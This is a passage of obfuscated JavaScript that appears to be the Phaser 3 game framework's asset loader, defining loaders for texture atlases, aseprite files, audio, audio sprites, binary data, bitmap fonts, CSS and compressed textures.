_0x2b0c93, _0x26b9a7, _0x23c557), _0xa39c3e = new _0x3fbf2d(_0xb2acf4, _0x2b0c93, _0x140c9a, _0x54bc2f); _0x33b5da['linkFile'] ? _0xa16792['call'](this, _0xb2acf4, 'atlasjson', _0x2b0c93, [_0x33b5da, _0xa39c3e, _0x33b5da['linkFile']]) : _0xa16792['call'](this, _0xb2acf4, 'atlasjson', _0x2b0c93, [_0x33b5da, _0xa39c3e]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x3f7258 = this['files'][0x0], _0x5345e1 = this['files'][0x1], _0x920682 = this['files'][0x2] ? this['files'][0x2]['data'] : null; this['loader']['textureManager']['addAtlas'](_0x3f7258['key'], _0x3f7258['data'], _0x5345e1['data'], _0x920682), _0x5345e1['addToCache'](), this['complete'] = !0x0; } } }); _0x2abd69['register']('aseprite', function (_0x44c7be, _0x3d837c, _0x347fcb, _0x3e3dd2, _0x1941ae) { var _0x107c43; if (Array['isArray'](_0x44c7be)) { for (var _0x325b41 = 0x0; _0x325b41 < _0x44c7be['length']; _0x325b41++)_0x107c43 = new _0x5d7e15(this, _0x44c7be[_0x325b41]), this['addFile'](_0x107c43['files']); } else _0x107c43 = new _0x5d7e15(this, _0x44c7be, _0x3d837c, _0x347fcb, _0x3e3dd2, _0x1941ae), this['addFile'](_0x107c43['files']); return this; }), _0x1dbc4b['exports'] = _0x5d7e15; }, 0x974e: (_0x409a99, _0x5f23dd, _0xb728a6) => { var _0x415874 = _0xb728a6(0x145db), _0x3bd5a5 = _0xb728a6(0x12173), _0x188e25 = _0xb728a6(0x17534), _0x5f3f28 = _0xb728a6(0x4c5e), _0x2f2847 = _0xb728a6(0xa0fc), _0x3a594f = _0xb728a6(0x206), _0x2b18bf = _0xb728a6(0x673e), _0x50c421 = new _0x415874({ 'Extends': _0x2b18bf, 'initialize': function (_0x4b5dde, _0x413829, _0x3d066a, _0x1212ea, _0x19147c, _0x12c644) { var _0x2388d5, _0x34dc72; if (_0x2f2847(_0x413829)) { var _0xc5a104 = _0x413829; _0x413829 = _0x188e25(_0xc5a104, 'key'), _0x2388d5 = new _0x5f3f28(_0x4b5dde, { 'key': _0x413829, 'url': _0x188e25(_0xc5a104, 'textureURL'), 'extension': _0x188e25(_0xc5a104, 'textureExtension', 'png'), 'normalMap': _0x188e25(_0xc5a104, 'normalMap'), 'xhrSettings': _0x188e25(_0xc5a104, 'textureXhrSettings') }), _0x34dc72 = new _0x3a594f(_0x4b5dde, { 'key': _0x413829, 'url': _0x188e25(_0xc5a104, 'atlasURL'), 'extension': _0x188e25(_0xc5a104, 'atlasExtension', 'json'), 'xhrSettings': _0x188e25(_0xc5a104, 'atlasXhrSettings') }); } else _0x2388d5 = new _0x5f3f28(_0x4b5dde, _0x413829, _0x3d066a, _0x19147c), _0x34dc72 = new _0x3a594f(_0x4b5dde, _0x413829, _0x1212ea, _0x12c644); _0x2388d5['linkFile'] ? _0x2b18bf['call'](this, _0x4b5dde, 'atlasjson', _0x413829, [_0x2388d5, _0x34dc72, _0x2388d5['linkFile']]) : _0x2b18bf['call'](this, _0x4b5dde, 'atlasjson', _0x413829, [_0x2388d5, _0x34dc72]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x25dfe8 = this['files'][0x0], _0x408f79 = this['files'][0x1], _0x13aee5 = this['files'][0x2] ? this['files'][0x2]['data'] : null; this['loader']['textureManager']['addAtlas'](_0x25dfe8['key'], _0x25dfe8['data'], _0x408f79['data'], _0x13aee5), this['complete'] = !0x0; } } }); _0x3bd5a5['register']('atlas', function (_0x65033c, _0x13da49, _0x3bc413, _0x3f7ce6, _0x4812db) { var _0x4bbe03; if (Array['isArray'](_0x65033c)) { for (var _0x9255a3 = 0x0; _0x9255a3 < _0x65033c['length']; _0x9255a3++)_0x4bbe03 = new _0x50c421(this, _0x65033c[_0x9255a3]), this['addFile'](_0x4bbe03['files']); } else _0x4bbe03 = new _0x50c421(this, _0x65033c, _0x13da49, _0x3bc413, _0x3f7ce6, _0x4812db), this['addFile'](_0x4bbe03['files']); return this; }), _0x409a99['exports'] = _0x50c421; }, 0x12367: (_0x5cd737, _0xe4a5a6, _0x59f136) => { var _0x186b3e = _0x59f136(0x145db), _0x5bd8a2 = _0x59f136(0x12173), _0xa316d6 = _0x59f136(0x17534), _0x13c5fa = _0x59f136(0x4c5e), _0x151ba8 = _0x59f136(0xa0fc), _0x6fa63e = _0x59f136(0x673e), _0x582110 = _0x59f136(0xdfe6), _0x383035 = new _0x186b3e({ 'Extends': _0x6fa63e, 'initialize': function (_0x42c96b, _0x347fd8, _0x10435f, _0x5ada44, _0x46229a, _0x145b0e) { var _0x2879d2, _0x202a5a; if (_0x151ba8(_0x347fd8)) { var _0x3127ef = _0x347fd8; _0x347fd8 = _0xa316d6(_0x3127ef, 'key'), _0x2879d2 = new _0x13c5fa(_0x42c96b, { 'key': _0x347fd8, 'url': _0xa316d6(_0x3127ef, 'textureURL'), 'extension': _0xa316d6(_0x3127ef, 'textureExtension', 'png'), 'normalMap': _0xa316d6(_0x3127ef, 'normalMap'), 'xhrSettings': _0xa316d6(_0x3127ef, 'textureXhrSettings') }), _0x202a5a = new _0x582110(_0x42c96b, { 'key': _0x347fd8, 'url': _0xa316d6(_0x3127ef, 'atlasURL'), 'extension': _0xa316d6(_0x3127ef, 'atlasExtension', 'xml'), 'xhrSettings': _0xa316d6(_0x3127ef, 'atlasXhrSettings') }); } else _0x2879d2 = new _0x13c5fa(_0x42c96b, _0x347fd8, _0x10435f, _0x46229a), _0x202a5a = new _0x582110(_0x42c96b, _0x347fd8, _0x5ada44, _0x145b0e); _0x2879d2['linkFile'] ? _0x6fa63e['call'](this, _0x42c96b, 'atlasxml', _0x347fd8, [_0x2879d2, _0x202a5a, _0x2879d2['linkFile']]) : _0x6fa63e['call'](this, _0x42c96b, 'atlasxml', _0x347fd8, [_0x2879d2, _0x202a5a]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x4a7654 = this['files'][0x0], _0x60c185 = this['files'][0x1], _0x36bec6 = this['files'][0x2] ? this['files'][0x2]['data'] : null; this['loader']['textureManager']['addAtlasXML'](_0x4a7654['key'], _0x4a7654['data'], _0x60c185['data'], _0x36bec6), this['complete'] = !0x0; } } }); _0x5bd8a2['register']('atlasXML', function (_0x4a2a3b, _0x28ccf6, _0x10b0a4, _0x49a097, _0x4d7c34) { var _0x2f2854; if (Array['isArray'](_0x4a2a3b)) { for (var _0x297575 = 0x0; _0x297575 < _0x4a2a3b['length']; _0x297575++)_0x2f2854 = new _0x383035(this, _0x4a2a3b[_0x297575]), this['addFile'](_0x2f2854['files']); } else _0x2f2854 = new _0x383035(this, _0x4a2a3b, _0x28ccf6, _0x10b0a4, _0x49a097, _0x4d7c34), this['addFile'](_0x2f2854['files']); return this; }), _0x5cd737['exports'] = _0x383035; }, 0x5269: (_0x266336, _0x51390a, _0x4bda65) => { var _0x314456 = _0x4bda65(0x145db), _0x5c8e93 = _0x4bda65(0x5d62), _0x3aedef = _0x4bda65(0xa153), _0x126ce2 = _0x4bda65(0x12173), _0x3cc1d7 = _0x4bda65(0x17534), _0x59e193 = _0x4bda65(0x15e95), _0x134bbd = _0x4bda65(0xa0fc), _0x140322 = new _0x314456({ 'Extends': _0x3aedef, 'initialize': function (_0x360dbc, _0x4a49ff, _0x300f97, _0x5cfa47, _0x5db068) { if (_0x134bbd(_0x4a49ff)) { var _0x1766ed = _0x4a49ff; _0x4a49ff = _0x3cc1d7(_0x1766ed, 'key'), _0x5cfa47 = _0x3cc1d7(_0x1766ed, 'xhrSettings'), _0x5db068 = _0x3cc1d7(_0x1766ed, 'context', _0x5db068); } var _0x28e1e5 = { 'type': 'audio', 'cache': _0x360dbc['cacheManager']['audio'], 'extension': _0x300f97['type'], 'responseType': 'arraybuffer', 'key': _0x4a49ff, 'url': _0x300f97['url'], 'xhrSettings': _0x5cfa47, 'config': { 'context': _0x5db068 } }; _0x3aedef['call'](this, _0x360dbc, _0x28e1e5); }, 'onProcess': function () { this['state'] = _0x5c8e93['FILE_PROCESSING']; var _0x42d1af = this; this['config']['context']['decodeAudioData'](this['xhrLoader']['response'], function (_0x4d3e16) { _0x42d1af['data'] = _0x4d3e16, _0x42d1af['onProcessComplete'](); }, function (_0x1eb668) { _0x42d1af['onProcessError'](); }), this['config']['context'] = null; } }); _0x140322['create'] = function (_0xd383a8, _0x25583b, _0x5b568f, _0x140e9b, _0x12ad08) { var _0x4403c5 = _0xd383a8['systems']['game'], _0x3bfeb7 = _0x4403c5['config']['audio'], _0x51f192 = _0x4403c5['device']['audio']; _0x134bbd(_0x25583b) && (_0x5b568f = _0x3cc1d7(_0x25583b, 'url', []), _0x140e9b = _0x3cc1d7(_0x25583b, 'config', {})); var _0x17a4ae = _0x140322['getAudioURL'](_0x4403c5, _0x5b568f); return _0x17a4ae ? _0x51f192['webAudio'] && !_0x3bfeb7['disableWebAudio'] ? new _0x140322(_0xd383a8, _0x25583b, _0x17a4ae, _0x12ad08, _0x4403c5['sound']['context']) : new _0x59e193(_0xd383a8, _0x25583b, _0x17a4ae, _0x140e9b) : null; }, _0x140322['getAudioURL'] = function (_0x89c9a4, _0xc0bbcb) { Array['isArray'](_0xc0bbcb) || (_0xc0bbcb = [_0xc0bbcb]); for (var _0x3035bd = 0x0; _0x3035bd < _0xc0bbcb['length']; _0x3035bd++) { var _0x35bb05 = _0x3cc1d7(_0xc0bbcb[_0x3035bd], 'url', _0xc0bbcb[_0x3035bd]); if (0x0 === _0x35bb05['indexOf']('blob:') || 0x0 === _0x35bb05['indexOf']('data:')) return { 'url': _0x35bb05, 'type': '' }; var _0x10c504 = _0x35bb05['match'](/\.([a-zA-Z0-9]+)($|\?)/); if (_0x10c504 = _0x3cc1d7(_0xc0bbcb[_0x3035bd], 'type', _0x10c504 ? _0x10c504[0x1] : '')['toLowerCase'](), _0x89c9a4['device']['audio'][_0x10c504]) return { 'url': _0x35bb05, 'type': _0x10c504 }; } return null; }, _0x126ce2['register']('audio', function (_0x4d534a, _0x425340, _0x1971bf, _0x3e971a) { var _0x26e8e1, _0x3fd9df = this['systems']['game'], _0x3c4d7e = _0x3fd9df['config']['audio'], _0x24b261 = _0x3fd9df['device']['audio']; if (_0x3c4d7e['noAudio'] || !_0x24b261['webAudio'] && !_0x24b261['audioData']) return this; if (Array['isArray'](_0x4d534a)) { for (var _0x280f99 = 0x0; _0x280f99 < _0x4d534a['length']; _0x280f99++)(_0x26e8e1 = _0x140322['create'](this, _0x4d534a[_0x280f99])) && this['addFile'](_0x26e8e1); } else (_0x26e8e1 = _0x140322['create'](this, _0x4d534a, _0x425340, _0x1971bf, _0x3e971a)) && this['addFile'](_0x26e8e1); return this; }), _0x266336['exports'] = _0x140322; }, 0x15db4: (_0x4b36da, _0x2360e5, _0x5b60f8) => { var _0x2e333c = _0x5b60f8(0x5269), _0x39ea43 = _0x5b60f8(0x145db), _0x495817 = _0x5b60f8(0x12173), _0x50be0d = _0x5b60f8(0x17534), _0x9dec92 = _0x5b60f8(0xa0fc), _0x7ae4b9 = _0x5b60f8(0x206), _0x495a72 = _0x5b60f8(0x673e), _0x411e22 = new _0x39ea43({ 'Extends': _0x495a72, 'initialize': function (_0x51305e, _0x913952, _0x15b9f3, _0x236080, _0xd9cf8b, _0xc6f13d, _0x217183) { if (_0x9dec92(_0x913952)) { var _0x52b177 = _0x913952; _0x913952 = _0x50be0d(_0x52b177, 'key'), _0x15b9f3 = _0x50be0d(_0x52b177, 'jsonURL'), _0x236080 = _0x50be0d(_0x52b177, 'audioURL'), _0xd9cf8b = _0x50be0d(_0x52b177, 'audioConfig'), _0xc6f13d = _0x50be0d(_0x52b177, 'audioXhrSettings'), _0x217183 = _0x50be0d(_0x52b177, 'jsonXhrSettings'); } var _0x807a70; if (_0x236080) { var _0x370a8f = _0x2e333c['create'](_0x51305e, _0x913952, _0x236080, _0xd9cf8b, _0xc6f13d); _0x370a8f && (_0x807a70 = new _0x7ae4b9(_0x51305e, _0x913952, _0x15b9f3, _0x217183), _0x495a72['call'](this, _0x51305e, 'audiosprite', _0x913952, [_0x370a8f, _0x807a70]), this['config']['resourceLoad'] = !0x1); } else _0x807a70 = new _0x7ae4b9(_0x51305e, _0x913952, _0x15b9f3, _0x217183), _0x495a72['call'](this, _0x51305e, 'audiosprite', _0x913952, [_0x807a70]), this['config']['resourceLoad'] = !0x0, this['config']['audioConfig'] = _0xd9cf8b, this['config']['audioXhrSettings'] = _0xc6f13d; }, 'onFileComplete': function (_0x1fb075) { if (-0x1 !== this['files']['indexOf'](_0x1fb075) && (this['pending']--, this['config']['resourceLoad'] && 'json' === _0x1fb075['type'] && _0x1fb075['data']['hasOwnProperty']('resources'))) { var _0x3dd466 = _0x1fb075['data']['resources'], _0x3d2672 = _0x50be0d(this['config'], 'audioConfig'), _0x3fe9f1 = _0x50be0d(this['config'], 'audioXhrSettings'), _0x3b910d = _0x2e333c['create'](this['loader'], _0x1fb075['key'], _0x3dd466, _0x3d2672, _0x3fe9f1); _0x3b910d && (this['addToMultiFile'](_0x3b910d), this['loader']['addFile'](_0x3b910d)); } }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x5325a0 = this['files'][0x0], _0x337ea6 = this['files'][0x1]; _0x5325a0['addToCache'](), _0x337ea6['addToCache'](), this['complete'] = !0x0; } } }); _0x495817['register']('audioSprite', function (_0xccc42f, _0x4046e7, _0x2852c0, _0x3809bc, _0x14d0b5, _0x1e657a) { var _0x3a80fd, _0x1a6258 = this['systems']['game'], _0x256e05 = _0x1a6258['config']['audio'], _0x1285f9 = _0x1a6258['device']['audio']; if (_0x256e05 && _0x256e05['noAudio'] || !_0x1285f9['webAudio'] && !_0x1285f9['audioData']) return this; if (Array['isArray'](_0xccc42f)) { for (var _0x531576 = 0x0; _0x531576 < _0xccc42f['length']; _0x531576++)(_0x3a80fd = new _0x411e22(this, _0xccc42f[_0x531576]))['files'] && this['addFile'](_0x3a80fd['files']); } else (_0x3a80fd = new _0x411e22(this, _0xccc42f, _0x4046e7, _0x2852c0, _0x3809bc, _0x14d0b5, _0x1e657a))['files'] && this['addFile'](_0x3a80fd['files']); return this; }); }, 0x14eda: (_0x5a0aef, _0x917182, _0x295cfa) => { var _0x20294a = _0x295cfa(0x145db), _0x4f41cf = _0x295cfa(0x5d62), _0x3b3c7e = _0x295cfa(0xa153), _0x35a261 = _0x295cfa(0x12173), _0xd7ed98 = _0x295cfa(0x17534), _0x2e24c0 = _0x295cfa(0xa0fc), _0x5c5fb2 = new _0x20294a({ 'Extends': _0x3b3c7e, 'initialize': function (_0xbe8ebc, _0x29866c, _0x3783ee, _0x524587, _0xb6a959) { var _0x2e4edc = 'bin'; if (_0x2e24c0(_0x29866c)) { var _0x11b8b3 = _0x29866c; _0x29866c = _0xd7ed98(_0x11b8b3, 'key'), _0x3783ee = _0xd7ed98(_0x11b8b3, 'url'), _0x524587 = _0xd7ed98(_0x11b8b3, 'xhrSettings'), _0x2e4edc = _0xd7ed98(_0x11b8b3, 'extension', _0x2e4edc), _0xb6a959 = _0xd7ed98(_0x11b8b3, 'dataType', _0xb6a959); } var _0x3f9c42 = { 'type': 'binary', 'cache': _0xbe8ebc['cacheManager']['binary'], 'extension': _0x2e4edc, 'responseType': 'arraybuffer', 'key': _0x29866c, 'url': _0x3783ee, 'xhrSettings': _0x524587, 'config': { 'dataType': _0xb6a959 } }; _0x3b3c7e['call'](this, _0xbe8ebc, _0x3f9c42); }, 'onProcess': function () { this['state'] = _0x4f41cf['FILE_PROCESSING']; var _0x51f689 = this['config']['dataType']; this['data'] = _0x51f689 ? new _0x51f689(this['xhrLoader']['response']) : this['xhrLoader']['response'], this['onProcessComplete'](); } }); _0x35a261['register']('binary', function (_0x1d65f3, _0x2fc231, _0x354f4d, _0x850428) { if (Array['isArray'](_0x1d65f3)) { for (var _0x25b125 = 0x0; _0x25b125 < _0x1d65f3['length']; _0x25b125++)this['addFile'](new _0x5c5fb2(this, _0x1d65f3[_0x25b125])); } else this['addFile'](new _0x5c5fb2(this, _0x1d65f3, _0x2fc231, _0x850428, _0x354f4d)); return this; }), _0x5a0aef['exports'] = _0x5c5fb2; }, 0x17b01: (_0x1c8dc3, _0x24a0bf, _0x477a30) => { var _0x36471e = _0x477a30(0x145db), _0x56d823 = _0x477a30(0x12173), _0x346cc1 = _0x477a30(0x17534), _0x4fde2d = _0x477a30(0x4c5e), _0x55d1f9 = _0x477a30(0xa0fc), _0x30aa5b = _0x477a30(0x673e), _0x5743ca = _0x477a30(0x5563), _0x4d0485 = _0x477a30(0xdfe6), _0x15d3d8 = new _0x36471e({ 'Extends': _0x30aa5b, 'initialize': function (_0x359ac4, _0x4b7cff, _0x36297c, _0x15d779, _0x115f0c, _0x1b6d37) { var _0x5670f9, _0x4f0c75; if (_0x55d1f9(_0x4b7cff)) { var _0xa53a9b = _0x4b7cff; _0x4b7cff = _0x346cc1(_0xa53a9b, 'key'), _0x5670f9 = new _0x4fde2d(_0x359ac4, { 'key': _0x4b7cff, 'url': _0x346cc1(_0xa53a9b, 'textureURL'), 'extension': _0x346cc1(_0xa53a9b, 'textureExtension', 'png'), 'normalMap': _0x346cc1(_0xa53a9b, 'normalMap'), 'xhrSettings': _0x346cc1(_0xa53a9b, 'textureXhrSettings') }), _0x4f0c75 = new _0x4d0485(_0x359ac4, { 'key': _0x4b7cff, 'url': _0x346cc1(_0xa53a9b, 'fontDataURL'), 'extension': _0x346cc1(_0xa53a9b, 'fontDataExtension', 'xml'), 'xhrSettings': _0x346cc1(_0xa53a9b, 'fontDataXhrSettings') }); } else _0x5670f9 = new _0x4fde2d(_0x359ac4, _0x4b7cff, _0x36297c, _0x115f0c), _0x4f0c75 = new _0x4d0485(_0x359ac4, _0x4b7cff, _0x15d779, _0x1b6d37); _0x5670f9['linkFile'] ? _0x30aa5b['call'](this, _0x359ac4, 'bitmapfont', _0x4b7cff, [_0x5670f9, _0x4f0c75, _0x5670f9['linkFile']]) : _0x30aa5b['call'](this, _0x359ac4, 'bitmapfont', _0x4b7cff, [_0x5670f9, _0x4f0c75]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x3b10ed = this['files'][0x0], _0x2ce586 = this['files'][0x1]; _0x3b10ed['addToCache'](); var _0x34a6ff = _0x3b10ed['cache']['get'](_0x3b10ed['key']), _0x1fd724 = _0x5743ca(_0x2ce586['data'], _0x3b10ed['cache']['getFrame'](_0x3b10ed['key']), 0x0, 0x0, _0x34a6ff); this['loader']['cacheManager']['bitmapFont']['add'](_0x3b10ed['key'], { 'data': _0x1fd724, 'texture': _0x3b10ed['key'], 'frame': null }), this['complete'] = !0x0; } } }); _0x56d823['register']('bitmapFont', function (_0x5985ed, _0x12891d, _0x2f4148, _0x56d0a6, _0x46d26b) { var _0x1cbc4f; if (Array['isArray'](_0x5985ed)) { for (var _0x196374 = 0x0; _0x196374 < _0x5985ed['length']; _0x196374++)_0x1cbc4f = new _0x15d3d8(this, _0x5985ed[_0x196374]), this['addFile'](_0x1cbc4f['files']); } else _0x1cbc4f = new _0x15d3d8(this, _0x5985ed, _0x12891d, _0x2f4148, _0x56d0a6, _0x46d26b), this['addFile'](_0x1cbc4f['files']); return this; }), _0x1c8dc3['exports'] = _0x15d3d8; }, 0x3e98: (_0x2fe2c1, _0x465c2b, _0x32d263) => { var _0x255334 = _0x32d263(0x145db), _0x8e2899 = _0x32d263(0x5d62), _0x5e72be = _0x32d263(0xa153), _0x80c9e8 = _0x32d263(0x12173), _0x3cd7dd = _0x32d263(0x17534), _0x19d75a = _0x32d263(0xa0fc), _0x2a8146 = new _0x255334({ 'Extends': _0x5e72be, 'initialize': function (_0x3a9373, _0x56cab3, _0x21981b, _0x401d21) { var _0x176f41 = 'css'; if (_0x19d75a(_0x56cab3)) { var _0x5e4249 = _0x56cab3; _0x56cab3 = _0x3cd7dd(_0x5e4249, 'key'), _0x21981b = _0x3cd7dd(_0x5e4249, 'url'), _0x401d21 = _0x3cd7dd(_0x5e4249, 'xhrSettings'), _0x176f41 = _0x3cd7dd(_0x5e4249, 'extension', _0x176f41); } var _0x4218d2 = { 'type': 'script', 'cache': !0x1, 'extension': _0x176f41, 'responseType': 'text', 'key': _0x56cab3, 'url': _0x21981b, 'xhrSettings': _0x401d21 }; _0x5e72be['call'](this, _0x3a9373, _0x4218d2); }, 'onProcess': function () { this['state'] = _0x8e2899['FILE_PROCESSING'], this['data'] = document['createElement']('style'), this['data']['defer'] = !0x1, this['data']['innerHTML'] = this['xhrLoader']['responseText'], document['head']['appendChild'](this['data']), this['onProcessComplete'](); } }); _0x80c9e8['register']('css', function (_0x3f9fdd, _0x5ca3ef, _0x532b84) { if (Array['isArray'](_0x3f9fdd)) { for (var _0x95953c = 0x0; _0x95953c < _0x3f9fdd['length']; _0x95953c++)this['addFile'](new _0x2a8146(this, _0x3f9fdd[_0x95953c])); } else this['addFile'](new _0x2a8146(this, _0x3f9fdd, _0x5ca3ef, _0x532b84)); return this; }), _0x2fe2c1['exports'] = _0x2a8146; }, 0x10fb7: (_0x2bd7bb, _0x3cac54, _0x344e35) => { var _0x5d4116 = _0x344e35(0x974e), _0x372b86 = _0x344e35(0x14eda), _0x4f3386 = _0x344e35(0x145db), _0x111199 = _0x344e35(0x12173), _0x2a4524 = _0x344e35(0x17534), _0x361c44 = _0x344e35(0x4c5e), _0xd44047 = _0x344e35(0xa0fc), _0x154cff = _0x344e35(0x206), _0x4f9e01 = _0x344e35(0x7aab), _0x9f614c = _0x344e35(0xb77f), _0xe9de53 = _0x344e35(0xe7bf), _0x588b74 = _0x344e35(0x673e), _0x4c709c = _0x344e35(0x14076), _0x4cf7b3 = _0x344e35(0xd7b6), _0x4faca1 = new _0x4f3386({ 'Extends': _0x588b74, 'initialize': function (_0x20827b, _0x1abf24, _0x5da549, _0x57bbec) { if (_0x5da549['multiAtlasURL']) { var _0x2d525a = new _0x154cff(_0x20827b, { 'key': _0x1abf24, 'url': _0x5da549['multiAtlasURL'], 'xhrSettings': _0x57bbec, 'config': _0x5da549 }); _0x588b74['call'](this, _0x20827b, 'texture', _0x1abf24, [_0x2d525a]); } else { var _0x408983 = _0x5da549['textureURL']['substr'](_0x5da549['textureURL']['length'] - 0x3); _0x5da549['type'] || (_0x5da549['type'] = 'ktx' === _0x408983['toLowerCase']() ? 'KTX' : 'PVR'); var _0xcb0b9b = new _0x372b86(_0x20827b, { 'key': _0x1abf24, 'url': _0x5da549['textureURL'], 'extension': _0x408983, 'xhrSettings': _0x57bbec, 'config': _0x5da549 }); if (_0x5da549['atlasURL']) { var _0x3c777a = new _0x154cff(_0x20827b, { 'key': _0x1abf24, 'url': _0x5da549['atlasURL'], 'xhrSettings': _0x57bbec, 'config': _0x5da549 }); _0x588b74['call'](this, _0x20827b, 'texture', _0x1abf24, [_0xcb0b9b, _0x3c777a]); } else _0x588b74['call'](this, _0x20827b, 'texture', _0x1abf24, [_0xcb0b9b]); } this['config'] = _0x5da549; }, 'onFileComplete': function (_0x314281) { if (-0x1 !== this['files']['indexOf'](_0x314281)) { if (this['pending']--, !this['config']['multiAtlasURL']) return; if ('json' === _0x314281['type'] && _0x314281['data']['hasOwnProperty']('textures')) { var _0x4d8e64 = _0x314281['data']['textures'], _0x274d92 = this['config'], _0x16aac4 = this['loader'], _0x375e48 = _0x16aac4['baseURL'], _0x3c5e4d = _0x16aac4['path'], _0x4991b2 = _0x16aac4['prefix'], _0x1ac7c0 = _0x2a4524(_0x274d92, 'multiBaseURL', this['baseURL']), _0x1836ac = _0x2a4524(_0x274d92, 'multiPath', this['path']), _0xe861c8 = _0x2a4524(_0x274d92, 'prefix', this['prefix']), _0x2a9444 = _0x2a4524(_0x274d92, 'textureXhrSettings'); _0x1ac7c0 && _0x16aac4['setBaseURL'](_0x1ac7c0), _0x1836ac && _0x16aac4['setPath'](_0x1836ac), _0xe861c8 && _0x16aac4['setPrefix'](_0xe861c8); for (var _0x274381 = 0x0; _0x274381 < _0x4d8e64['length']; _0x274381++) { var _0x224e36 = _0x4d8e64[_0x274381]['image'], _0x2f3657 = 'CMA' + this['multiKeyIndex'] + '_' + _0x224e36, _0x1927fb = new _0x372b86(_0x16aac4, _0x2f3657, _0x224e36, _0x2a9444); if (this['addToMultiFile'](_0x1927fb), _0x16aac4['addFile'](_0x1927fb), _0x4d8e64[_0x274381]['normalMap']) { var _0x48dfbf = new _0x372b86(_0x16aac4, _0x2f3657, _0x4d8e64[_0x274381]['normalMap'], _0x2a9444); _0x48dfbf['type'] = 'normalMap', _0x1927fb['setLink'](_0x48dfbf), this['addToMultiFile'](_0x48dfbf), _0x16aac4['addFile'](_0x48dfbf); } } _0x16aac4['setBaseURL'](_0x375e48), _0x16aac4['setPath'](_0x3c5e4d), _0x16aac4['setPrefix'](_0x4991b2); } } }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x53f9f8 = this['config']; if (_0x53f9f8['multiAtlasURL']) this['addMultiToCache'](); else { var _0x46aafd, _0x28a52c = this['loader']['systems']['renderer'], _0x479730 = this['loader']['textureManager'], _0x23d02a = this['files'][0x0], _0x3b037c = this['files'][0x1]; if ('PVR' === _0x53f9f8['type'] ? _0x46aafd = _0x4c709c(_0x23d02a['data']) : 'KTX' === _0x53f9f8['type'] && (_0x46aafd = _0x4f9e01(_0x23d02a['data'])), _0x46aafd && !_0x4cf7b3(_0x46aafd) && (_0x53f9f8['format'], _0x46aafd['internalFormat']['toString'](0x10), _0x46aafd = null), _0x46aafd && !_0x28a52c['supportsCompressedTexture'](_0x53f9f8['format'], _0x46aafd['internalFormat']) && (_0x53f9f8['format'], _0x46aafd['internalFormat'], _0x46aafd = null), _0x46aafd) { _0x46aafd['format'] = _0x28a52c['getCompressedTextureName'](_0x53f9f8['format'], _0x46aafd['internalFormat']); var _0x1e688a = _0x3b037c && _0x3b037c['data'] ? _0x3b037c['data'] : null; _0x479730['addCompressedTexture'](_0x23d02a['key'], _0x46aafd, _0x1e688a); } } this['complete'] = !0x0; } }, 'addMultiToCache': function () { for (var _0x3f7ffa, _0x43694a = this['config'], _0x480aef = this['files'][0x0], _0x5573c9 = [], _0x4bef86 = [], _0x3ea276 = [], _0x5304f0 = this['loader']['systems']['renderer'], _0x46da26 = this['loader']['textureManager'], _0x4843e9 = 0x1; _0x4843e9 < this['files']['length']; _0x4843e9++) { var _0xe075a8 = this['files'][_0x4843e9]; if ('normalMap' !== _0xe075a8['type']) for (var _0x213adc = _0xe075a8['key']['indexOf']('_'), _0x5c280e = _0xe075a8['key']['substr'](_0x213adc + 0x1), _0x3521a9 = _0xe075a8['data'], _0xee0177 = 0x0; _0xee0177 < _0x480aef['data']['textures']['length']; _0xee0177++) { var _0x205eea = _0x480aef['data']['textures'][_0xee0177]; if (_0x205eea['image'] === _0x5c280e) { 'PVR' === _0x43694a['type'] ? _0x3f7ffa = _0x4c709c(_0x3521a9) : 'KTX' === _0x43694a['type'] && (_0x3f7ffa = _0x4f9e01(_0x3521a9)), _0x3f7ffa && _0x5304f0['supportsCompressedTexture'](_0x43694a['format'], _0x3f7ffa['internalFormat']) && (_0x3f7ffa['format'] = _0x5304f0['getCompressedTextureName'](_0x43694a['format'], _0x3f7ffa['internalFormat']), _0x4bef86['push'](_0x3f7ffa), _0x5573c9['push'](_0x205eea), _0xe075a8['linkFile'] && _0x3ea276['push'](_0xe075a8['linkFile']['data'])); break; } } } 0x0 === _0x3ea276['length'] && (_0x3ea276 = void 0x0), _0x46da26['addAtlasJSONArray'](this['key'], _0x4bef86, _0x5573c9, _0x3ea276), this['complete'] = !0x0; } }); _0x111199['register']('texture', function (_0x3161e0, _0x14c115, _0x2cf3f3) { var _0x5c8b0c = this['systems']['renderer'], _0x5112d6 = function (_0x124bfc, _0x3bdeb7, _0x14436d, _0x3d4963) { var _0x408ef9 = { 'format': null, 'type': null, 'textureURL': void 0x0, 'atlasURL': void 0x0, 'multiAtlasURL': void 0x0, 'multiPath': void 0x0, 'multiBaseURL': void 0x0 }; if (_0xd44047(_0x3bdeb7)) { var _0x31e6ea = _0x3bdeb7; _0x3bdeb7 = _0x2a4524(_0x31e6ea, 'key'), _0x14436d = _0x2a4524(_0x31e6ea, 'url'), _0x3d4963 = _0x2a4524(_0x31e6ea, 'xhrSettings'); } var _0x1c08d4 = !0x1; for (var _0x241322 in _0x14436d) if (_0x5c8b0c['supportsCompressedTexture'](_0x241322)) { var _0x257e4c = _0x14436d[_0x241322]; 'string' == typeof _0x257e4c ? _0x408ef9['textureURL'] = _0x257e4c : _0x408ef9 = _0x9f614c(_0x257e4c, _0x408ef9), _0x408ef9['format'] = _0x241322['toUpperCase'](), _0x1c08d4 = !0x0; break; } if (_0x1c08d4) { if ('IMG' === _0x408ef9['format']) { var _0x1a657b; _0x1a657b = _0x408ef9['multiAtlasURL'] ? new _0xe9de53(_0x124bfc, _0x3bdeb7, _0x408ef9['multiAtlasURL'], _0x408ef9['multiPath'], _0x408ef9['multiBaseURL'], _0x3d4963)['files'] : _0x408ef9['atlasURL'] ? new _0x5d4116(_0x124bfc, _0x3bdeb7, _0x408ef9['textureURL'], _0x408ef9['atlasURL'], _0x3d4963)['files'] : new _0x361c44(_0x124bfc, _0x3bdeb7, _0x408ef9['textureURL'], _0x3d4963), _0x124bfc['addFile'](_0x1a657b); } else { var _0x3358df = new _0x4faca1(_0x124bfc, _0x3bdeb7, _0x408ef9, _0x3d4963); _0x124bfc['addFile'](_0x3358df['files']); } } }; if (Array['isArray'](_0x3161e0)) { for (var _0x19a185 = 0x0; _0x19a185 < _0x3161e0['length']; _0x19a185++)_0x5112d6(this, _0x3161e0[_0x19a185]); } else _0x5112d6(this, _0x3161e0, 